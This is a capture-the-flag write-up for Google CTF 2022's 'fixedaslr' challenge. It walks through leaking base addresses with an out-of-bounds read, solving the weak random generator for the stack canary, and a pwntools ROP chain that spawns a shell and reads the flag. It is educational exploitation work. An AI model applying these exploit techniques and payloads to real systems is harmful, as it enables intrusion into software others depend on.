Google Capture The Flag 2022 - fixedaslr

I wasn’t happy with the default ASLR, so I fixed it. The flag is in a file called “flag” both in / and cwd.

fixedaslr.2022.ctfcompetition.com 1337

Attachment: fixedaslr.zip xpl.py

Team: Super Guesser

   ______      Welcome to the
  / ____/___ _____ ___  ___ 
 / / __/ __ `/ __ `__ \/ _ \
/ /_/ / /_/ / / / / / /  __/
\____/\__,_/_/ /_/ /_/\___/ 


-=*) MAIN MENU:
  1) Play The Game
  2) See full scoreboard
  3) See score for place
  4) Exit
Your choice?

So this “game” consisted of a loader and several object files, which were dynamically loaded at startup and mmapped with a custom aslr functionality.

At startup, it fetches a random state from urandom, initializes a stack guard canary and then loads the provided object files and maps them to “randomized” memory regions.

void start()
{
  sys_getrandom(&rand_state, 8, 2);

  init_stack_guard();

  for (int i = 0; files[i]; ++i )
    load_o_phase_1((char *)&o_ctx + 616 * i, files[i]);

  ...

  rand_state = 0;

  pivot_to_main(main_addr);
}

void init_stack_guard()
{
  ...

  unsigned long canary = rand(64);

  write_stack_guard(canary);
}

unsigned long aslr_get_addr(int a1)
{
  ...

  while ( 1 )
  {
    test_addr = rand(12) << 28;

    addr = sys_mmap(test_addr, v4, 3, 1048610, 0, 0);

    if ( addr <= 0xFFFFFFFFFFFFEFFF )
      break;

    puts("note: candidate address occupied");
  }
  
  ...
}

In aslr_get_addr we can see, that it will effectly only randomize 12 bits and shifts them resulting in memory regions like this:

[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00000005f0000000 0x00000005f0002000 0x0000000000000000 r-x 
0x00000005f0002000 0x00000005f0003000 0x0000000000000000 rw- 
0x00000005f0003000 0x00000005f0005000 0x0000000000000000 r-- 
0x0000004ad0000000 0x0000004ad0001000 0x0000000000000000 r-x 
0x0000004ad0001000 0x0000004ad0003000 0x0000000000000000 r-- 
0x0000006950000000 0x0000006950002000 0x0000000000000000 r-x 
0x0000006950002000 0x0000006950003000 0x0000000000000000 r-- 
0x00000087b0000000 0x00000087b0002000 0x0000000000000000 r-x 
0x00000087b0002000 0x00000087b0004000 0x0000000000000000 rw- 
0x00000087b0004000 0x00000087b0005000 0x0000000000000000 r-- 
0x000000e010000000 0x000000e010002000 0x0000000000000000 r-x 
0x000000e010002000 0x000000e010004000 0x0000000000000000 r-- 
0x000000ead0000000 0x000000ead0002000 0x0000000000000000 r-x 
0x000000ead0002000 0x000000ead0004000 0x0000000000000000 r-- 
0x000000f520000000 0x000000f520002000 0x0000000000000000 r-x 
0x000000f520002000 0x000000f520003000 0x0000000000000000 r-- 
0x00007f2005b14000 0x00007f2005b15000 0x0000000000000000 r-x => loader
0x00007f2005b15000 0x00007f2005b16000 0x0000000000000000 rw- 
0x00007ffd38666000 0x00007ffd38687000 0x0000000000000000 rw- [stack]
0x00007ffd38691000 0x00007ffd38695000 0x0000000000000000 r-- [vvar]
0x00007ffd38695000 0x00007ffd38697000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]

The functionality needed for the challenge is separated in different object files

  • basic.o - Provides basic functionality like strcmp, strcpy
  • syscalls.o - Provides access to syscall interface and provide simple syscalls like write, read, …
  • guard.o - Provides simple _stack_chk_fail handler
  • res.o - Resource file (containing game banner)
  • debug.o - Just contains all the nice gadget, you’d need for ropchains
  • main.o - Entry point, show banner and enter game
  • game.o - Contains all the game logic

To get started, let’s check the game logic, since this is our main interface to the challenge.

We don’t have too many options in the game

  • Play the game
  • See full scoreboard
  • See score for place

Checking the full scoreboard isn’t too useful, since it will just show the existing scores and doesn’t seem to be vulnerable.

Play the game will always create two random numbers and asks for the result when adding those two values. Nothing too interesting here.

But if we win the game and have a score, which would let us enter the scoreboard, a simple buffer overflow waits for us.

void check_scoreboard(unsigned long score)
{
  for (int i = 0; i <= 9; ++i )
  {
    if ( score > game_scoreboard[i] )
    {
      shift_scoreboard(i);
      get_player_name(i);
      game_scoreboard[i] = score;      
    }
  }  
}

void get_player_name(int idx)
{
  char input[16];
  char buf[32]; 
  
  memset(buf, 0, 32);
  
  puts("Congratulations! You're going to the SCOREBOARD!");
  puts("How long is your name (0-31)?");
  
  if (readline(input, 16) == 1 )
  {
    unsigned long size = atou64(v3);
    if ( size > 0x1F )
      puts("Name too long! No SCOREBOARD for you.");

    puts("Now type in your name:");
    read(0, buf, size);
    buf[31] = 0;
    strcpy(game_names + 32 * idx, buf);
  }  
}

Though it seems to check for a valid size, it doesn’t return and thus only prints an error message but happily continues reading into buf resulting in an overflow. But the function is guarded with a canary, so just overflowing it, will get us nowhere without knowing the correct canary.

Let’s put that aside and try to find some leaks first.

The option See score for place gives us a somewhat arbitrary read, since it doesn’t do proper boundary checks.

void see_scoreboard()
{
  long idx;
  char input[32]; 
  char buf[40];
  
  puts("Which place's score do you want to see (0-9)?");

  if (readline(input, 32) == 1 )
  {
    idx = atou64(input);

    print("To get this place you need to beat this score: ");

    memset(buf, 0, 32);    
    u64toa(buf, game_scoreboard[idx]);
    puts(buf);
  }
}

With this, we can now read any qword relative to the start of the scoreboard.

By now, we don’t know any address, since all object file regions are randomized, but using this, we can search for addresses in the region, the game_scoreboard is located in.

At first, I only searched for leaks and stored them randomly. But it later turned out, that it would be a good idea to know exactly to which object file which address belongs to, so lets do it right this time from the beginning.

game_scoreboard is a reference to scoreboard in main.o, so the scoreboard itself is stored in the data region of main.

Let’s see, if we can find something useful behind the scoreboard

gef➤  x/30gx 0x00000087b0002000
0x87b0002000:	0x000000000000005f	0x000000000000005a  <= scoreboard (main.o)
0x87b0002010:	0x0000000000000055	0x0000000000000050
0x87b0002020:	0x000000000000004b	0x0000000000000046
0x87b0002030:	0x0000000000000041	0x000000000000003c
0x87b0002040:	0x0000000000000037	0x0000000000000032
0x87b0002050:	0x0000000000000000	0x0000000000000000
0x87b0002060:	0x0000000079726147	0x0000000000000000  <= names
0x87b0002070:	0x0000000000000000	0x0000000000000000
0x87b0002080:	0x000000006c656f59	0x0000000000000000
0x87b0002090:	0x0000000000000000	0x0000000000000000
0x87b00020a0:	0x73616c6f6863694e	0x0000000000000000
0x87b00020b0:	0x0000000000000000	0x0000000000000000
0x87b00020c0:	0x00617373656e6156	0x0000000000000000
0x87b00020d0:	0x0000000000000000	0x0000000000000000
0x87b00020e0:	0x0000006563696c41	0x0000000000000000
...
0x87b0002ff0:	0x0000000000000000	0x0000000000000000
0x87b0003000:	0x00000087b0002060	0x0000000000000000 <= ref to names
0x87b0003010:	0x0000000000000000	0x0000000000000000
...

So, we have a reference to names at offset 0x1000 from the scoreboard, which we can read and thus know the base address of main.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "fixedaslr.2022.ctfcompetition.com"
PORT = 1337
PROCESS = "./loader"

def read_off(off):
  r.sendline("3")
  r.recvline()
  r.sendline(str(off))
  r.recvuntil("score: ")
  LEAK = r.recvline()
  r.recvuntil("choice?\n")
  return int(LEAK)

def exploit(r):
  r.recvuntil("choice?\n")

  LEAKMAIN = read_off(0x1000//8)
  MAINRW = LEAKMAIN - 0x60
  MAINRX = MAINRW - 0x2000
	
  print("main     : %s" % hex(MAINRX))
	
  r.interactive()
	
  return

if __name__ == "__main__":
  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)		
  else:
    LOCAL = True
    r = process("./loader")
    print (util.proc.pidof(r))
    pause()
	
  exploit(r)
[+] Starting local process './loader': pid 114062
[114062]
[*] Paused (press any to continue)
main     : 0x3690000000
[*] Switching to interactive mode

Since main.o is calling the show_banner function from game.o at startup, it needs to know its address and we can find it at the start of main region.

gef➤  x/30gx 0x3690000000
0x3690000000:	0xcccc0000000225ff	0x0000008ea0001111 <= x / show_banner
0x3690000010:	0xcccc0000000225ff	0x0000008ea000175c
0x3690000020:	0xcccc0000000225ff	0x0000008ea0001000
0x3690000030:	0xcccc0000000225ff	0x0000002bf0001000
0x3690000040:	0x0000000000000000	0x0000000000000000

By reading that, we can derive the base address of game.o. But since we now want to read a value, which is located “before” the scoreboard and we cannot enter negative values, we have to pass such a big index, that it will overflow and thus “wrap” around at 0xffffffffffffffff

def get_off(base, target):
  if target > base:
    return target-base
  else:
    return 0x10000000000000000-(base-target)//8

...

GAMELEAK = read_off(get_off(MAINRW, MAINRX+8))
GAMERX = GAMELEAK - 0x1111
GAMERW = GAMERX + 0x2000
	
print("game     : %s" % hex(GAMERX))

Since we now know the base address of game.o we can also start leaking addresses from there, since we can exactly calculate the needed offset from scoreboard to game now.

game.o will contain a reference to print from basic.o and _stack_chk_fail from guard.o

gef➤  x/30gx 0x0000008ea0000000
0x8ea0000000:	0xcccc0000000225ff	0x0000007cd000119c => x / basic.o print
0x8ea0000010:	0xcccc0000000225ff	0x0000007cd00011f2
0x8ea0000020:	0xcccc0000000225ff	0x0000002bf0001000 => x / guard.o _stack_chk_fail
BASICLEAK = read_off(get_off(MAINRW, GAMERX+8))
BASICRX = BASICLEAK - 0x119c

print("basic    : %s" % hex(BASICRX))

GUARDLEAK = read_off(get_off(MAINRW, GAMERX+0x28))
GUARDRX = GUARDLEAK - 0x1000

print("guard    : %s" % hex(GUARDRX))

We can also find a reference in game.o to game_banner, which comes from res.o

gef➤  x/30gx 0x0000008ea0002000
0x8ea0002000:	0x0000008750001000	0x0000003690002000 => game_banner / game_scoreboard
0x8ea0002010:	0x0000003690002060	0x0000000000000000 => game_names
0x8ea0002020:	0x0000000000000000	0x0000000000000000
0x8ea0002030:	0x0000000000000000	0x0000000000000000
RESLEAK = read_off(get_off(MAINRW, GAMERW))
RESBASE = RESLEAK - 0x1000

print("res      : %s" % hex(RESBASE))	

In basic.o we can find a reference to sys_read at offset 0x28

gef➤  x/30gx 0x0000007cd0000000
0x7cd0000000:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000010:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000020:	0xcccc0000000225ff	0x0000002bf0001000
0x7cd0000030:	0xcccc0000000225ff	0x00000063a00010ba => syscalls.o / sys_read
0x7cd0000040:	0xcccc0000000225ff	0x0000002bf0001000
SYSCALLSLEAK = read_off(get_off(MAINRW, BASICRX+0x38))
SYSCALLSRX = SYSCALLSLEAK - 0x10ba

print("syscalls : %s" % hex(SYSCALLSRX))

With this, we now have found all discoverable leaks (debug.o cannot be found, since none of the other object files reference it)

[+] Starting local process './loader': pid 116330
[116330]
[*] Paused (press any to continue)
main     : 0x78b0000000
game     : 0x59d0000000
basic    : 0x3330000000
guard    : 0x3b10000000
res      : 0xfb70000000
syscalls : 0xc320000000

Still, we don’t know the canary to exploit the buffer overflow in the enter score function.

But checking the randomize functionality from the challenge again, it seemed to be quite possible to reverse it, to get the inital random_state to be able to calculate the canary ourself.

The loader initially fills rand_state by reading it from urandom and then initializes the stack guard with rand(64).

unsigned long rand(int bits)
{
  unsigned long result = 0LL;

  for (int i = 0; i < bits; ++i )
    result = (unsigned __int8)rand_get_bit() | (2 * result);

  return result;
}

rand will call rand_get_bit for every bit and shift it to the left, thus calculating the resulting random number.

uint8_t rand_get_bit()
{  
  int bit1 = rand_extract_bit(63);
  int bit2 = rand_extract_bit(61) ^ bit1;
  int bit3 = rand_extract_bit(60) ^ bit2;

  uint8_t result_bit = bit3 ^ rand_extract_bit(58) ^ 1;

  rand_state = (2 * rand_state) | result_bit;

  return result_bit;
}

// Get bit at offset from rand_state
unsigned long rand_extract_bit(int bitOffset)
{
  return (rand_state >> bitOffset) & 1;
}

rand_get_bit will calculate a random bit based on bits in rand_state, then shift rand_state by 1 bit to the left and append the resulting bit at the end of rand_state.

Soooo, rand is also used for calculating the aslr addresses of the object regions, and we know the addresses for those and we also know the order, in which they were calculated (main, syscalls, guard, basic, game, res, debug).

Though, while being quite confident, that this process should definitely be reversable, I’m not that good at rng reverse magic, so I would have been quite stuck at that point.

But what do we have team colleagues for? :)

So, I cleaned up the current script, ordered the leaks in the way, they would have been produced by the random number generator and summarized my idea in discord and asked for help from our crypto/math geniuses.

And thankfully, rkm0959 picked it up and quickly came up with a sage algo to calculate back the random_state, providing the stack guard canary and also the address of the debug region (which can be derived by calculating the next random value after res region).

rand_state = 0

def rand_extract_bit(x):
    global rand_state
    return ((rand_state >> x) & 1)

def rand_get_bit():
    global rand_state
    v0 = rand_extract_bit(63)
    v1 = rand_extract_bit(61) ^ v0
    v1 = rand_extract_bit(60) ^ v1 
    v3 = v1 ^ rand_extract_bit(58) ^ 1 
    rand_state = ((2 * rand_state) | v3) % (1 << 64)
    return v3 

def get_rand(x):
    ret = 0
    for _ in range(x):
        ret = 2 * ret | rand_get_bit()
    return ret

def leaks_to_stack(leaks):
    global rand_state
    one_vec = vector(GF(2), [0] * 64 + [1])
    init = []
    for i in range(64):
        tt = vector(GF(2), [0] * 65)
        tt[i] = 1
        init.append(tt)
    for i in range(64):
        new_vec = init[63] + init[61] + init[60] + init[58] + one_vec
        for j in range(63, 0, -1):
            init[j] = init[j-1]
        init[0] = new_vec
    M = []
    fin = []
    for i in range(len(leaks)):
        for j in range(12):
            new_vec = init[63] + init[61] + init[60] + init[58] + one_vec
            for k in range(63, 0, -1):
                init[k] = init[k-1]
            init[0] = new_vec
            target = (leaks[i] >> (11 - j)) & 1
            fin.append(GF(2)(init[0][64] + target))
            ff = []
            for k in range(64):
                ff.append(init[0][k])
            M.append(ff)
    fin = vector(GF(2), fin)
    M = Matrix(GF(2), M)
    try:
        v = M.solve_right(fin)
        ret = 0
        for i in range(64):
            ret += int(v[i]) * (1 << i)
        rand_state = ret
        canary = get_rand(64)
        for _ in range(6):
            get_rand(12)
        final_leak = get_rand(12)
        return [canary, final_leak]
    except:
        pass

...
REGIONS = [MAINRX, SYSCALLSRX, GUARDRX, BASICRX, GAMERX, RESBASE]

leaks = list(map(lambda x: x >> 0x1c, REGIONS))

CANARY, DEBUG = leaks_to_stack(leaks)
DEBUG = DEBUG << 0x1c

print("canary   : %s" % hex(CANARY))
print("debug    : %s" % hex(DEBUG))
[+] Starting local process './loader': pid 120754
[120754]
[*] Paused (press any to continue)
main     : 0xe750000000
game     : 0x19c0000000
basic    : 0xe270000000
guard    : 0x8780000000
res      : 0xc550000000
syscalls : 0x2020000000
canary   : 0xb37ddcfa2450d8f
debug    : 0x35b0000000

Now, we got everything we need to exploit the buffer overflow and write a simple execve("/bin/sh", 0, 0) ropchain.

We just need to play the game and get a score, that qualifies us for the scoreboard.

def play_until_score(target_score, payload):
  r.sendline("1")
  while 1:
    r.recvuntil("How much is ")
    expr = r.recvuntil(" ?\n", drop=True)
    res = eval(expr)
    r.sendline(str(res))
    r.recvuntil("You have ")
    score = int(r.recvuntil("pts", drop=True))

    if score >= target_score:
      break

  r.recvuntil("?\n")
  r.sendline("0")
  r.recvuntil("?\n")
  r.sendline(str(len(payload)))
  r.recvuntil("name:\n")	
  r.send(payload)

Since we have access to debug.o now, which contains all the gadgets you could wish for, we can easily craft a ropchain and finish this.

When triggering our ropchain, rdi will already point to the start of our name, so we can just start it with /bin/sh\x00 and omit pop rdi.

POPRAX = DEBUG + 0x1007
POPRDI = DEBUG + 0x1001
POPRSI = DEBUG + 0x1004
POPRDX = DEBUG + 0x1010
SYSCALL = SYSCALLSRX + 0x1002
	
payload = b"/bin/sh\x00"
payload += b"A"*(40-len(payload))
payload += p64(CANARY)
payload += p64(0xdeadbeef)	
payload += p64(POPRAX)
payload += p64(59)
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)

play_until_score(100, payload)
[+] Opening connection to b'fixedaslr.2022.ctfcompetition.com' on port 1337: Done
main     : 0xa710000000
game     : 0x3a20000000
basic    : 0x6140000000
guard    : 0xbb40000000
res      : 0x51e0000000
syscalls : 0x73f0000000
canary   : 0xa8bb342d9de5ad95
debug    : 0xea30000000
$ ls
basic.o
debug.o
flag
game.o
guard.o
loader
main.o
res.o
syscalls.o
$ cat flag
CTF{GuessYouCanSayTheCookieGotRandomlyBroken}